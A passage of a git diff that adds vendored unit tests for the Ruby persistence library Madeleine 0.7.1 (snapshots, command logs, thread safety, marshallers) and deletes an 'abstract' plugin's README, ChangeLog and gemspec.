+  def minus1
+    @w -= 1
+  end
+end
+
+class I
+  include Madeleine::Automatic::Interceptor
+  def initialize
+    @x = J.new
+  end
+  def testyield
+    r = false
+    @x.yielder {|c| r = true if c == 1}
+    r
+  end
+end
+
+class J
+  include Madeleine::Automatic::Interceptor
+  def yielder
+    yield 1
+  end
+end
+
+class K
+  include Madeleine::Automatic::Interceptor
+  attr_accessor :k
+  def initialize
+    @k=1
+  end
+  def seven
+    @k=7
+  end
+  def fourteen
+    @k=14
+  end
+  automatic_read_only :fourteen
+  automatic_read_only
+  def twentyone
+    @k=21
+  end
+end  
+
+class L
+  include Madeleine::Automatic::Interceptor
+  attr_reader :x
+  def initialize
+    @x = M.new(self)
+  end
+end
+
+class M
+  include Madeleine::Automatic::Interceptor
+  attr_reader :yy
+  def initialize(yy)
+    @yy = yy
+  end
+end
+
+class AutoTest < Test::Unit::TestCase
+
+  def persister
+    SnapshotMadeleine
+  end
+
+  def delete_directory(directory_name)
+    return unless File.exist?(directory_name)
+    Dir.foreach(directory_name) do |file|
+      next if file == "."
+      next if file == ".."
+      assert(File.delete(directory_name + File::SEPARATOR + file) == 1,
+             "Unable to delete #{file}")
+    end
+    Dir.delete(directory_name)
+  end
+
+  def create_new_system(klass, dir, *arg)
+    delete_directory(dir)
+    Thread.critical = true
+    @system_bases << dir
+    Thread.critical = false
+    make_system(dir) { klass.new(*arg) }
+  end
+
+  def make_system(dir, marshaller=Marshal, &block)
+    AutomaticSnapshotMadeleine.new(dir, marshaller, persister, &block)
+  end
+
+  def prevalence_base
+    "AutoPrevalenceTestBase" + self.class.to_s
+  end
+
+  def setup
+    @system_bases = []
+  end
+
+  def teardown
+    @system_bases.each {|dir| 
+      delete_directory(dir)
+    }
+  end
+
+  def simpletest(n)
+    pb = prevalence_base + n.to_s
+    mad_a = create_new_system(A, pb)
+    mad_a.close
+    mad_a1 = make_system(pb) { A.new }
+    assert_equal(1, mad_a1.system.k, "No commands or snapshot")
+    mad_a1.system.z = 0
+    mad_a1.system.z += 1
+    assert_equal(1, mad_a1.system.z, "Object changes")
+    mad_a1.system.z -= 10
+    assert_equal(-9, mad_a1.system.z, "Object changes")
+    mad_a1.close
+    mad_a2 = make_system(pb) { A.new }
+    assert_equal(-9, mad_a2.system.z, "Commands but no snapshot")
+    mad_a2.take_snapshot
+    mad_a2.close
+    mad_a3 = make_system(pb) { A.new }
+    assert_equal(-9, mad_a3.system.z, "Snapshot but no commands")
+    mad_a3.system.z -= 6
+    mad_a3.system.z -= 3
+    mad_a3.close
+    mad_a4 = make_system(pb) { A.new }
+    assert_equal(-18, mad_a4.system.z, "Snapshot and commands")
+    mad_a4.close
+  end
+end
+
+# Basic test, and that system works in SAFE level 1
+class BasicTest < AutoTest
+  def test_main
+    simpletest(1)
+  end
+
+  def test_main_in_safe_level_one
+    thread = Thread.new {
+      $SAFE = 1
+      test_main
+    }
+    thread.join
+  end
+end
+
+class ObjectOutsideTest < AutoTest
+  def test_main
+    mad = create_new_system(A, prevalence_base)
+    assert_raises(RuntimeError) {
+                 mad.system.z = A.new  # app object created outside system
+               }
+    mad.close
+  end
+end
+
+# Passing a block when it would generate a command is not allowed because blocks cannot
+# be serialised.  However, block passing/yielding inside the application is ok.
+class BlockGivenTest < AutoTest
+  def test_main
+    mad = create_new_system(J, prevalence_base)
+    assert_raises(RuntimeError) {
+                   mad.system.yielder {|a| a}
+                 }
+    mad.close
+    mad2 = create_new_system(I, prevalence_base+"2")
+    assert(mad2.system.testyield, "Internal block passing")
+    mad2.close
+  end
+end
+
+class NonPersistedObjectTest < AutoTest
+  def test_main
+    mad_b = create_new_system(B, prevalence_base, 0)
+    mad_b.system.yy.x -= 1
+    assert_equal(-1, mad_b.system.yy.x, "Direct change of object inside main object")
+
+    mad_b.system.yy.a.w ||= "hello"  # not saved
+    mad_b.system.yy.a.w += " again"  # not saved
+
+    assert_equal("hello again", mad_b.system.yy.a.w, "Non persisted object before close")
+
+    mad_b.close
+    mad_b2 = make_system(prevalence_base) { B.new(0) }
+    assert_equal(nil, mad_b2.system.yy.a.w, "Non persisted object after restart, no snapshot")
+    mad_b2.system.yy.a.w ||= "hello"  # not saved
+    mad_b2.system.yy.a.w += " again"  # not saved
+    mad_b2.take_snapshot             # NOW saved
+    mad_b2.system.yy.a.w += " again"  # not saved
+    assert_equal("hello again again", mad_b2.system.yy.a.w, "Non persisted object after take_snapshot and 1 change")
+
+    mad_b2.close
+    mad_b3 = make_system(prevalence_base) { B.new(0) }
+    assert_equal("hello again", mad_b3.system.yy.a.w, "Non persisted object after restore (back to snapshotted state)")
+    mad_b3.close
+  end
+end
+
+class RefInExternalObjTest < AutoTest
+  def test_main
+    mad_c = create_new_system(B, prevalence_base, 0)
+    x = D.new
+    x.w = mad_c.system.yy
+    mad_c.system.s = x  # pass in an external object that contains a ref to obj in ths system
+
+    mad_c.system.s.w.x += 1      # Increment counter via external obj
+    assert_equal(1, mad_c.system.yy.x, "Change via external object")
+    mad_c.system.yy.x += 1        # Increment counter directly
+    assert_equal(2, mad_c.system.s.w.x, "Direct change")
+    mad_c.close
+
+    mad_c2 = make_system(prevalence_base) { B.new(0) }
+    assert_equal(2, mad_c2.system.s.w.x, "Value via external object after commands/restore")
+    assert_equal(2, mad_c2.system.yy.x, "Direct value after restore")
+    mad_c2.take_snapshot
+    mad_c2.close
+
+    mad_c3 = make_system(prevalence_base) { B.new(0) }
+    assert_equal(2, mad_c3.system.s.w.x, "Value via external object after snapshot/restore")
+    assert_equal(2, mad_c3.system.yy.x, "Direct value after snapshot/restore")
+
+    mad_c3.system.s.w.x += 1      # Increment counter via external obj
+    mad_c3.system.yy.x += 1        # Increment counter directly
+    mad_c3.close
+
+    mad_c4 = make_system(prevalence_base) { B.new(0) }
+    assert_equal(4, mad_c4.system.s.w.x, "Value via external object after snapshot+commands/restore")
+    assert_equal(4, mad_c4.system.yy.x, "Direct value after snapshot+commands/restore")
+    mad_c4.close
+  end
+end
+
+class BasicThreadSafetyTest < AutoTest
+  def test_main
+    x = Thread.new {
+          simpletest(1)
+        }
+    y = Thread.new {
+          simpletest(2)
+        }
+    x.join
+    y.join
+  end
+end
+    
+class ThreadConfidenceTest < AutoTest
+  def test_main
+    mad_d = create_new_system(F, prevalence_base)
+    mad_d.system.z = 0
+    mad_e = create_new_system(G, prevalence_base+"2")
+    mad_e.system.yy.w = 0
+
+    x = []
+    25.times {|n|
+      x[n] = Thread.new {
+               5.times {
+                 sleep(rand/10)
+                 mad_d.system.plus1
+                 mad_e.system.yy.minus1
+               }
+           }
+    }
+    25.times {|n|
+      x[n].join
+    }
+    assert_equal(125, mad_d.system.z, "125 commands")
+    assert_equal(-125, mad_e.system.yy.w, "125 commands")
+
+    mad_e.close
+    mad_e2 = make_system(prevalence_base+"2") { G.new }
+
+    25.times {|n|
+      x[n] = Thread.new {
+               5.times {
+                 sleep(rand/10)
+                 mad_d.system.plus1
+                 mad_e2.system.yy.minus1
+               }
+           }
+    }
+    25.times {|n|
+      x[n].join
+    }
+    assert_equal(250, mad_d.system.z, "restore/125 commands")
+    assert_equal(-250, mad_e2.system.yy.w, "restore/125 commands")
+    mad_d.close
+    mad_e2.close
+  end
+end
+
+class InvalidMethodTest < AutoTest
+  def test_main
+    mad_f = create_new_system(A, prevalence_base)
+    mad_f.system.z = -1
+    assert_raises(NoMethodError) {
+                   mad_f.system.not_a_method
+                 }
+    assert_equal(-1, mad_f.system.z, "System functions after NoMethodError")
+    mad_f.close
+  end
+end
+
+class CircularReferenceTest < AutoTest
+  def test_main
+    mad_g = create_new_system(G, prevalence_base)
+    mad_g.system.yy.w = mad_g.system
+    mad_g.close
+    mad_g2 = make_system(prevalence_base) { G.new }
+    assert(mad_g2.system == mad_g2.system.yy.w.yy.w.yy.w, "Circular reference after command/restore")
+    mad_g2.take_snapshot
+    mad_g2.close
+    mad_g3 = make_system(prevalence_base) { G.new }
+    assert(mad_g3.system == mad_g3.system.yy.w.yy.w.yy.w, "Circular reference after snapshot/restore")
+    mad_g3.system.yy.w.yy.w.yy.w.a = 1
+    assert_equal(1, mad_g3.system.a, "Circular reference change")
+    mad_g3.close
+    mad_g4 = make_system(prevalence_base) { G.new }
+    assert_equal(1, mad_g4.system.yy.w.yy.w.yy.w.a, "Circular reference after snapshot+commands/restore")
+    mad_g4.close
+# The following tests would fail, cannot pass self (from class L to class M during init)
+# self is the proxied object itself, not the Prox object it needs to be
+    mad_l = create_new_system(L, prevalence_base)
+#    assert_equal(mad_l.system, mad_l.system.x.yy, "Circular ref before snapshot/restore, passed self")
+    mad_l.take_snapshot
+    mad_l.close
+    mad_l = make_system(prevalence_base) { L.new }
+#    assert_equal(mad_l.system, mad_l.system.x.yy, "Circular ref after snapshot/restore, passed self")
+    mad_l.close
+  end
+end
+
+class AutomaticCustomMarshallerTest < AutoTest
+  def test_main
+    custom_m(YAML)
+    custom_m(SOAP::Marshal)
+    custom_m(Madeleine::ZMarshal.new)
+    custom_m(Madeleine::ZMarshal.new(YAML))
+    custom_m(Madeleine::ZMarshal.new(SOAP::Marshal))
+  end
+
+  def custom_m(marshaller)
+    dir = prevalence_base
+    delete_directory(dir)
+    @system_bases << dir
+    mad_h = make_system(dir) { G.new }
+    mad_h.system.yy.w = "abc"
+    mad_h.take_snapshot
+    mad_h.system.yy.w += "d"
+    assert_equal("abcd", mad_h.system.yy.w, "Custom marshalling after snapshot+commands with normal marshaller")
+    mad_h.close
+    mad_h = make_system(dir, marshaller) { G.new }
+    assert_equal("abcd", mad_h.system.yy.w, "Custom marshalling after snapshot+commands with normal marshaller, read with custom as marshaller")
+    mad_h.close
+    mad_h = make_system(dir) { G.new }
+    mad_h.marshaller = marshaller
+    mad_h.system.yy.w += "e"
+    assert_equal("abcde", mad_h.system.yy.w, "Custom marshalling after snapshot+commands+change marshaller+commands")
+    mad_h.take_snapshot
+    mad_h.close
+    if (marshaller == YAML)
+      File.open(dir + "/000000000000000000002.snapshot", "r") {|f|
+        assert_equal(f.gets, "--- !ruby/object:Madeleine::Automatic::Prox \n", "Custom marshalling marshaller change check")
+      }
+    end
+    mad_h = make_system(dir, marshaller) { G.new }
+    assert_equal("abcde", mad_h.system.yy.w, 
+                 "Custom marshalling after snapshot+commands+change marshaller+commands+snapshot+restore with normal marshaller")
+    mad_h.system.yy.w += "f"
+    mad_h.close
+    mad_h = make_system(dir) { G.new }
+    assert_equal("abcdef", mad_h.system.yy.w, "Custom marshalling snapshot custom+commands+restore normal")
+    mad_h.take_snapshot
+    mad_h.close
+    mad_h = make_system(dir, marshaller) { G.new }
+    assert_equal("abcdef", mad_h.system.yy.w, "Custom marshalling snapshot+restore custom")
+    mad_h.take_snapshot
+    mad_h.system.yy.w += "g"
+    mad_h.close
+    mad_h = make_system(dir, marshaller) { G.new }
+    assert_equal("abcdefg", mad_h.system.yy.w, "Custom marshalling after restore normal snapshot custom+commands+restore custom")
+    mad_h.system.yy.w = "abc"
+    mad_h.close
+    mad_h2 = make_system(dir, marshaller) { G.new }
+    assert_equal("abc", mad_h2.system.yy.w, "Custom marshalling after commands/restore")
+    mad_h2.take_snapshot
+    mad_h2.close
+    mad_h3 = make_system(dir, marshaller) { G.new }
+    assert_equal("abc", mad_h3.system.yy.w, "Custom marshalling after snapshot/restore")
+    mad_h3.system.yy.w += "d"
+    mad_h3.close
+    mad_h4 = make_system(dir, marshaller) { G.new }
+    assert_equal("abcd", mad_h4.system.yy.w, "Custom marshalling after snapshot+commands/restore")
+    mad_h4.close
+    mad_h = make_system(dir, marshaller) { G.new }
+    mad_h.system.yy.w = mad_h.system
+    mad_h.close
+    mad_h2 = make_system(dir, marshaller) { G.new }
+    assert_equal(mad_h2.system, mad_h2.system.yy.w, "Custom marshalling after commands/restore, circular ref")
+    mad_h2.take_snapshot
+    mad_h2.close
+    mad_h3 = make_system(dir, marshaller) { G.new }
+    assert_equal(mad_h3.system, mad_h3.system.yy.w, "Custom marshalling after snapshot/restore, circular ref")
+    mad_h3.system.yy.w = "sss"
+    mad_h3.system.yy.w = mad_h3.system
+    mad_h3.close
+    mad_h4 = make_system(dir, marshaller) { G.new }
+    assert_equal(mad_h4.system, mad_h4.system.yy.w, "Custom marshalling after snapshot+commands/restore, circular ref")
+    mad_h4.close
+  end
+end
+
+# tests thread safety during system creation, particularly that different system ids are generated
+class ThreadedStartupTest < AutoTest
+  def test_main
+    x,mad = [],[]
+    20.times {|n|
+      x[n] = Thread.new {
+               sleep(rand/100)
+               mad[n] = create_new_system(F, prevalence_base+n.to_s)
+               mad[n].system.z = n
+               assert_equal(n, mad[n].system.z, "object change mad[#{n}].z")
+               mad[n].close
+             }
+    }
+    20.times {|n|
+      x[n].join
+      mad_i = make_system(prevalence_base+n.to_s) { F.new }
+      assert_equal(n, mad_i.system.z, "restored mad[#{n}].z")
+      mad_i.close
+    }
+  end
+end
+
+# tests restoring when objects get unreferenced and GC'd during restore
+class FinalisedTest < AutoTest
+  def test_main
+    mad = create_new_system(B, prevalence_base, 0)
+    mad.system.yy = Array.new(200000)  # make ruby run GC
+    mad.system.yy = Array.new(200000)  # must be a better way, but running GC.start from inside
+    mad.system.yy = Array.new(50000)   # class B didn't work for me
+    mad.close
+    mad2 = make_system(prevalence_base) { B.new(0) }
+    mad2.close
+  end
+end
+
+class DontInterceptTest < AutoTest
+  def test_main
+    mad = create_new_system(K, prevalence_base)
+    mad.system.seven
+    assert_equal(7, mad.system.k, "Object changes")
+    mad.system.fourteen
+    assert_equal(14, mad.system.k, "Object changes, not intercepted")
+    mad.system.twentyone
+    assert_equal(21, mad.system.k, "Object changes, not intercepted")
+    mad.close
+    mad_1 = make_system(prevalence_base) { K.new }
+    assert_equal(7, mad_1.system.k, "Commands but no snapshot")
+    mad_1.take_snapshot
+    mad_1.close
+    mad_2 = make_system(prevalence_base) { K.new }
+    assert_equal(7, mad_2.system.k, "Snapshot but no commands")
+    mad_2.system.k -= 6
+    mad_2.system.k -= 3
+    mad_2.system.fourteen
+    mad_2.close
+    mad_3 = make_system(prevalence_base) { K.new }
+    assert_equal(-2, mad_3.system.k, "Snapshot and commands")
+    mad_3.close
+  end
+end
+
+def add_automatic_tests(suite)
+  suite << BasicTest.suite
+  suite << ObjectOutsideTest.suite
+  suite << BlockGivenTest.suite
+  suite << NonPersistedObjectTest.suite
+  suite << RefInExternalObjTest.suite
+  suite << InvalidMethodTest.suite
+  suite << CircularReferenceTest.suite
+  suite << BasicThreadSafetyTest.suite
+  suite << FinalisedTest.suite
+  suite << DontInterceptTest.suite
+  suite << AutomaticCustomMarshallerTest.suite
+end
+
+def add_slow_automatic_tests(suite)
+  suite << ThreadConfidenceTest.suite
+  suite << ThreadedStartupTest.suite
+end
+
+if __FILE__ == $0
+  slowsuite = Test::Unit::TestSuite.new("AutomaticMadeleine (including slow tests)")
+  add_automatic_tests(slowsuite)
+  add_slow_automatic_tests(slowsuite)
+
+  require 'test/unit/ui/console/testrunner'
+  Test::Unit::UI::Console::TestRunner.run(slowsuite)
+end
diff --git a/vendor/madeleine-0.7.1/test/test_clocked.rb b/vendor/madeleine-0.7.1/test/test_clocked.rb
new file mode 100755
index 00000000..fcbd02d1
--- /dev/null
+++ b/vendor/madeleine-0.7.1/test/test_clocked.rb
@@ -0,0 +1,94 @@
+
+require 'madeleine/clock'
+
+class ClockedAddingSystem
+  include Madeleine::Clock::ClockedSystem
+
+  attr_reader :total
+
+  def initialize
+    @total = 0
+  end
+
+  def add(value)
+    @total += value
+    @total
+  end
+end
+
+class TimeTest < Test::Unit::TestCase
+
+  def test_clock
+    target = Madeleine::Clock::Clock.new
+    assert_equal(0, target.time.to_i)
+    assert_equal(0, target.time.usec)
+
+    t1 = Time.at(10000)
+    target.forward_to(t1)
+    assert_equal(t1, target.time)
+    t2 = Time.at(20000)
+    target.forward_to(t2)
+    assert_equal(t2, target.time)
+
+    assert_nothing_raised() {
+      target.forward_to(t2)
+    }
+  end
+
+  def test_time_actor
+    @forward_calls = 0
+    @last_time = Time.at(0)
+
+    target = Madeleine::Clock::TimeActor.launch(self, 0.01)
+
+    # When launch() has returned it should have sent
+    # one synchronous clock-tick before it went to sleep
+    assert_equal(1, @forward_calls)
+
+    sleep(0.1)
+    assert(@forward_calls > 1)
+    target.destroy
+
+    @forward_calls = 0
+    sleep(0.1)
+    assert_equal(0, @forward_calls)
+  end
+
+  # Self-shunt
+  def execute_command(command)
+    mock_system = self
+    command.execute(mock_system)
+  end
+
+  # Self-shunt (system)
+  def clock
+    self
+  end
+
+  # Self-shunt (clock)
+  def forward_to(time)
+    if time < @last_time
+      raise "non-monotonous time"
+    end
+    @last_time = time
+    @forward_calls += 1
+  end
+
+  def test_clocked_system
+    target = Object.new
+    target.extend(Madeleine::Clock::ClockedSystem)
+    t1 = Time.at(10000)
+    target.clock.forward_to(t1)
+    assert_equal(t1, target.clock.time)
+    t2 = Time.at(20000)
+    target.clock.forward_to(t2)
+    assert_equal(t2, target.clock.time)
+    reloaded_target = Marshal.load(Marshal.dump(target))
+    assert_equal(t2, reloaded_target.clock.time)
+  end
+end
+
+
+def add_clocked_tests(suite)
+  suite << TimeTest.suite
+end
diff --git a/vendor/madeleine-0.7.1/test/test_command_log.rb b/vendor/madeleine-0.7.1/test/test_command_log.rb
new file mode 100755
index 00000000..9f0961ca
--- /dev/null
+++ b/vendor/madeleine-0.7.1/test/test_command_log.rb
@@ -0,0 +1,110 @@
+
+unless $LOAD_PATH.include?("lib")
+  $LOAD_PATH.unshift("lib")
+end
+unless $LOAD_PATH.include?("test")
+  $LOAD_PATH.unshift("test")
+end
+
+require 'madeleine'
+require 'test/unit'
+require 'stringio'
+
+class ExampleCommand
+  attr :value
+
+  def initialize(value)
+    @value = value
+  end
+
+  def execute(system)
+    system.add(@value)
+  end
+end
+
+class CommandLogTest < Test::Unit::TestCase
+
+  class MockFile < StringIO
+    def fsync
+      @was_fsynced = true
+      super
+    end
+
+    attr :was_fsynced
+  end
+
+  def test_file_opening
+    file_service = Object.new
+    def file_service.exist?(path)
+      [
+        ["some", "path"].join(File::SEPARATOR),
+        ["some", "path", "000000000000000000001.command_log"].join(File::SEPARATOR),
+        ["some", "path", "000000000000000000002.command_log"].join(File::SEPARATOR),
+        ["some", "path", "000000000000000000003.command_log"].join(File::SEPARATOR),
+      ].include?(path)
+    end
+    def file_service.dir_entries(path, &block)
+      if path != ["some", "path"].join(File::SEPARATOR)
+        raise "wrong path"
+      end
+      [
+        "000000000000000000001.command_log",
+        "000000000000000000003.command_log",
+        "000000000000000000002.command_log",
+      ]
+    end
+    def file_service.open(path, flags)
+      @was_open_called = true
+      if path != ["some", "path", "000000000000000000004.command_log"].join(File::SEPARATOR)
+        raise "wrong file id"
+      end
+      if flags != "wb"
+        raise "wrong flags"
+      end
+      MockFile.new
+    end
+    def file_service.was_open_called
+      @was_open_called
+    end
+
+    target = Madeleine::CommandLog.new("some/path", file_service)
+    assert(file_service.was_open_called)
+  end
+
+  def test_writing_command
+    file_service = Object.new
+    def file_service.exist?(path)
+      [
+        ["some", "path"].join(File::SEPARATOR),
+      ].include?(path)
+    end
+    def file_service.dir_entries(path, &block)
+      if path != ["some", "path"].join(File::SEPARATOR)
+        raise "wrong path"
+      end
+      []
+    end
+    def file_service.open(path, flags)
+      @file = MockFile.new
+      @file
+    end
+    def file_service.file
+      @file
+    end
+    def file_service.verify
+      unless @file.was_fsynced
+        raise "file wasn't fsynced"
+      end
+    end
+    command = ExampleCommand.new(1234)
+
+    target = Madeleine::CommandLog.new("some/path", file_service)
+    target.store(command)
+
+    file_service.verify
+
+    file_service.file.rewind
+    assert_equal(Marshal.dump(command), file_service.file.read)
+  end
+end
+
diff --git a/vendor/madeleine-0.7.1/test/test_executer.rb b/vendor/madeleine-0.7.1/test/test_executer.rb
new file mode 100755
index 00000000..27d2f062
--- /dev/null
+++ b/vendor/madeleine-0.7.1/test/test_executer.rb
@@ -0,0 +1,54 @@
+
+unless $LOAD_PATH.include?("lib")
+  $LOAD_PATH.unshift("lib")
+end
+unless $LOAD_PATH.include?("test")
+  $LOAD_PATH.unshift("test")
+end
+
+require 'test/unit'
+require 'madeleine'
+
+class ExecuterTest < Test::Unit::TestCase
+
+  def test_executer
+    system = Object.new
+    command = self
+    executer = Madeleine::Executer.new(system)
+    @executed_with = nil
+    executer.execute(command)
+    assert_same(system, @executed_with)
+  end
+
+  # Self-shunt
+  def execute(system)
+    @executed_with = system
+  end
+
+  def test_execute_with_exception
+    system = Object.new
+    command = Object.new
+    def command.execute(system)
+      raise "this is an exception from a command"
+    end
+    executer = Madeleine::Executer.new(system)
+    assert_raises(RuntimeError) {
+      executer.execute(command)
+    }
+  end
+
+  def test_exception_in_recovery
+    system = Object.new
+    command = Object.new
+    def command.execute(system)
+      raise "this is an exception from a command"
+    end
+    executer = Madeleine::Executer.new(system)
+    executer.recovery {
+      executer.execute(command)
+    }
+    assert_raises(RuntimeError) {
+      executer.execute(command)
+    }
+  end
+end
diff --git a/vendor/madeleine-0.7.1/test/test_persistence.rb b/vendor/madeleine-0.7.1/test/test_persistence.rb
new file mode 100755
index 00000000..c0e3a639
--- /dev/null
+++ b/vendor/madeleine-0.7.1/test/test_persistence.rb
@@ -0,0 +1,169 @@
+#!/usr/local/bin/ruby -w
+#
+# Copyright(c) 2003 Anders Bengtsson
+#
+# PersistenceTest is based on the unit tests from Prevayler,
+# Copyright(c) 2001-2003 Klaus Wuestefeld.
+#
+
+$LOAD_PATH.unshift("lib")
+
+require 'madeleine'
+require 'test/unit'
+
+class AddingSystem
+  attr_reader :total
+
+  def initialize
+    @total = 0
+  end
+
+  def add(value)
+    @total += value
+    @total
+  end
+end
+
+
+class Addition
+
+  attr_reader :value
+
+  def initialize(value)
+    @value = value
+  end
+
+  def execute(system)
+    system.add(@value)
+  end
+end
+
+
+class PersistenceTest < Test::Unit::TestCase
+
+  def setup
+    @madeleine = nil
+  end
+
+  def teardown
+    delete_prevalence_files(prevalence_base)
+    Dir.delete(prevalence_base)
+  end
+
+  def verify(expected_total)
+    assert_equal(expected_total, prevalence_system().total(), "Total")
+  end
+
+  def prevalence_system
+    @madeleine.system
+  end
+
+  def prevalence_base
+    "PrevalenceBase"
+  end
+
+  def clear_prevalence_base
+    @madeleine.close unless @madeleine.nil?
+    delete_prevalence_files(prevalence_base())
+  end
+
+  def delete_prevalence_files(directory_name)
+    return unless File.exist?(directory_name)
+    Dir.foreach(directory_name) {|file_name|
+      next if file_name == '.'
+      next if file_name == '..'
+      file_name.untaint
+      assert(File.delete(directory_name + File::SEPARATOR + file_name) == 1,
+                  "Unable to delete #{file_name}")
+    }
+  end
+
+  def crash_recover
+    @madeleine.close unless @madeleine.nil? 
+    @madeleine = create_madeleine()
+  end
+
+  def create_madeleine
+   SnapshotMadeleine.new(prevalence_base()) { AddingSystem.new }
+  end
+
+  def snapshot
+    @madeleine.take_snapshot
+  end
+
+  def add(value, expected_total)
+    total = @madeleine.execute_command(Addition.new(value))
+    assert_equal(expected_total, total, "Total")
+  end
+
+  def verify_snapshots(expected_count)
+    count = 0
+    Dir.foreach(prevalence_base) {|name|
+      if name =~ /\.snapshot$/
+        count += 1
+      end
+    }
+    assert_equal(expected_count, count, "snapshots")
+  end
+
+  def test_main
+    clear_prevalence_base
+
+    # There is nothing to recover at first.
+    # A new system will be created.
+    crash_recover
+
+    crash_recover
+    add(40,40)
+    add(30,70)
+    verify(70)
+
+    crash_recover
+    verify(70)
+
+    add(20,90)
+    add(15,105)
+    verify_snapshots(0)
+    snapshot
+    verify_snapshots(1)
+    snapshot
+    verify_snapshots(2)
+    verify(105)
+
+    crash_recover
+    snapshot
+    add(10,115)
+    snapshot
+    add(5,120)
+    add(4,124)
+    verify(124)
+
+    crash_recover
+    add(3,127)
+    verify(127)
+
+    verify_snapshots(4)
+
+    clear_prevalence_base
+    snapshot
+
+    crash_recover
+    add(10,137)
+    add(2,139)
+    crash_recover
+    verify(139)
+  end
+
+  def test_main_in_safe_level_one
+    thread = Thread.new {
+      $SAFE = 1
+      test_main
+    }
+    thread.join
+  end
+end
+
+
+def add_persistence_tests(suite)
+  suite << PersistenceTest.suite
+end
diff --git a/vendor/madeleine-0.7.1/test/test_platforms.rb b/vendor/madeleine-0.7.1/test/test_platforms.rb
new file mode 100755
index 00000000..b3ee03b1
--- /dev/null
+++ b/vendor/madeleine-0.7.1/test/test_platforms.rb
@@ -0,0 +1,65 @@
+
+class AddCommand
+  def initialize(obj)
+    @obj = obj
+  end
+  
+  def execute(system)
+    system[@obj.myid] = @obj
+  end
+end
+
+class Foo  
+  attr_accessor :myid
+end
+
+
+# Checks for a strange marshalling or IO bug observed in the
+# native win32-port of Ruby on WinXP.
+#
+# Test case provided by Steve Conover.
+
+class WierdWin32CorruptionTest < Test::Unit::TestCase
+  include TestUtils
+
+  def teardown
+    (1..5).each {|i|
+      delete_directory("corruption_test#{i}")
+    }
+  end
+
+  def doCorruptionTest(idstr, storagenumber)
+    m = SnapshotMadeleine.new("corruption_test" + storagenumber) { Hash.new() }
+  
+    f = Foo.new()
+    f.myid = idstr
+
+    m.execute_command(AddCommand.new(f))
+    m.close()
+    m = SnapshotMadeleine.new("corruption_test" + storagenumber) { Hash.new() }
+  end
+
+  def testErrorOne
+    doCorruptionTest("123456789012345678901", "1")
+  end
+  
+  def testErrorTwo
+    doCorruptionTest("aaaaaaaaaaaaaaaaaaaaa", "2")
+  end
+  
+  def testNoErrorOne
+    doCorruptionTest("12345678901234567890", "3")
+  end
+  
+  def testNoErrorTwo
+    doCorruptionTest("1234567890123456789012", "4")
+  end
+
+  def testWhiteSpace
+    doCorruptionTest("\n\r\t \r\n", "5")
+  end
+end
+
+def add_platforms_tests(suite)
+  suite << WierdWin32CorruptionTest.suite
+end
diff --git a/vendor/madeleine-0.7.1/test/test_zmarshal.rb b/vendor/madeleine-0.7.1/test/test_zmarshal.rb
new file mode 100755
index 00000000..80f46b90
--- /dev/null
+++ b/vendor/madeleine-0.7.1/test/test_zmarshal.rb
@@ -0,0 +1,52 @@
+
+require 'madeleine/zmarshal'
+
+require 'stringio'
+require 'yaml'
+
+class ZMarshalTest < Test::Unit::TestCase
+
+  def test_full_circle_marshal
+    target = Madeleine::ZMarshal.new(Marshal)
+    object = ["foo", "bar"]
+    stream = StringIO.new
+
+    target.dump(object, stream)
+    stream.rewind
+    result = target.load(stream)
+    
+    assert_equal(object, result)
+  end
+
+  def test_full_circle_yaml
+    target = Madeleine::ZMarshal.new(YAML)
+    object = ["foo", "bar"]
+    stream = StringIO.new
+
+    target.dump(object, stream)
+    stream.rewind
+    result = target.load(stream)
+    
+    assert_equal(object, result)
+  end
+
+  def test_compression
+    target = Madeleine::ZMarshal.new(Marshal)
+    object = "x" * 1000
+
+    stream = StringIO.new
+    Marshal.dump(object, stream)
+    reference_size = stream.size
+
+    stream = StringIO.new
+    target.dump(object, stream)
+    compressed_size = stream.size
+
+    assert(compressed_size < reference_size)
+  end
+end
+
+
+def add_zmarshal_tests(suite)
+  suite << ZMarshalTest.suite
+end
diff --git a/vendor/plugins/abstract_1.0.0/ChangeLog b/vendor/plugins/abstract_1.0.0/ChangeLog
deleted file mode 100644
index 1e8a805c..00000000
--- a/vendor/plugins/abstract_1.0.0/ChangeLog
+++ /dev/null
@@ -1,3 +0,0 @@
-: release 1.0.0 (2006-03-12)
-    - first release (1.0.0)
-
diff --git a/vendor/plugins/abstract_1.0.0/README.txt b/vendor/plugins/abstract_1.0.0/README.txt
deleted file mode 100644
index 444dd7dc..00000000
--- a/vendor/plugins/abstract_1.0.0/README.txt
+++ /dev/null
@@ -1,57 +0,0 @@
-= README
-
-revision::	$Rev: 1 $
-release::	$Release: 1.0.0 $
-copyright::	copyright(c) 2006 kuwata-lab.com all rights reserved.
-
-
-== Introduction
-
-'abstract.rb' is a library which enable you to define abstract method in Ruby.
-
-The followings are examples:
-
-  ## example1. (shorter notation)
-  require 'rubygems'   # if installed with 'gem install'
-  require 'abstract'
-  class Foo
-    abstract_method 'arg1, arg2=""', :method1, :method2, :method3
-  end
-  
-  ## example2. (RDoc friendly notation)
-  require 'rubygems'   # if installed with 'gem install'
-  require 'abstract'
-  class Bar
-    # ... method1 description ...
-    def method1(arg1, arg2="")
-      not_implemented
-    end
-    # ... method2 description ...
-    def method2(arg1, arg2="")
-      not_implemented
-    end
-  end
-
-
-Abstract method makes your code more descriptive.
-It is useful even for dynamic language such as Ruby.
-
-
-== Installation
-
-
-* Type 'gem install -r abstract' with root account if you have installed RubyGems.
-
-* Or type 'ruby setup.rb' with root account if you can be root account.
-
-* Or copy lib/abstract.rb into proper directory such as '/usr/local/lib/ruby/site_ruby'.
-
-
-== License
-
-Ruby's
-
-
-== Copyright
-
-copyright(c) 2006 kuwata-lab.com all rights reserved.
diff --git a/vendor/plugins/abstract_1.0.0/abstract.gemspec b/vendor/plugins/abstract_1.0.0/abstract.gemspec
deleted file mode 100644
index 5f7a4067..00000000
--- a/vendor/plugins/abstract_1.0.0/abstract.gemspec
+++ /dev/null
@@ -1,48 +0,0 @@
-#!/usr/bin/env ruby
-
-###
-### RubyGems Specification file for abstract.rb
-###
-### $Rev: 1 $
-### $Release: 1.0.0 $
-### copyright(c) 2006 kuwata-lab.com all rights reserved.
-###
-
-require 'rubygems'
-
-spec = Gem::Specification.new do |s|
-  ## package information
-  s.name        = 'abstract'
-  s.author      = 'makoto kuwata'
-  s.version     = ("$Release: 1.0.0 $" =~ /[\.\d]+/) && $&
-  s.platform    = Gem::Platform::RUBY
-  s.homepage    = 'http://rubyforge.org/projects/abstract'
-  s.summary     = "a library which enable you to define abstract method in Ruby"
-  s.description = <<-'END'
-  'abstract.rb' is a library which enable you to define abstract method in Ruby.
-  END
-
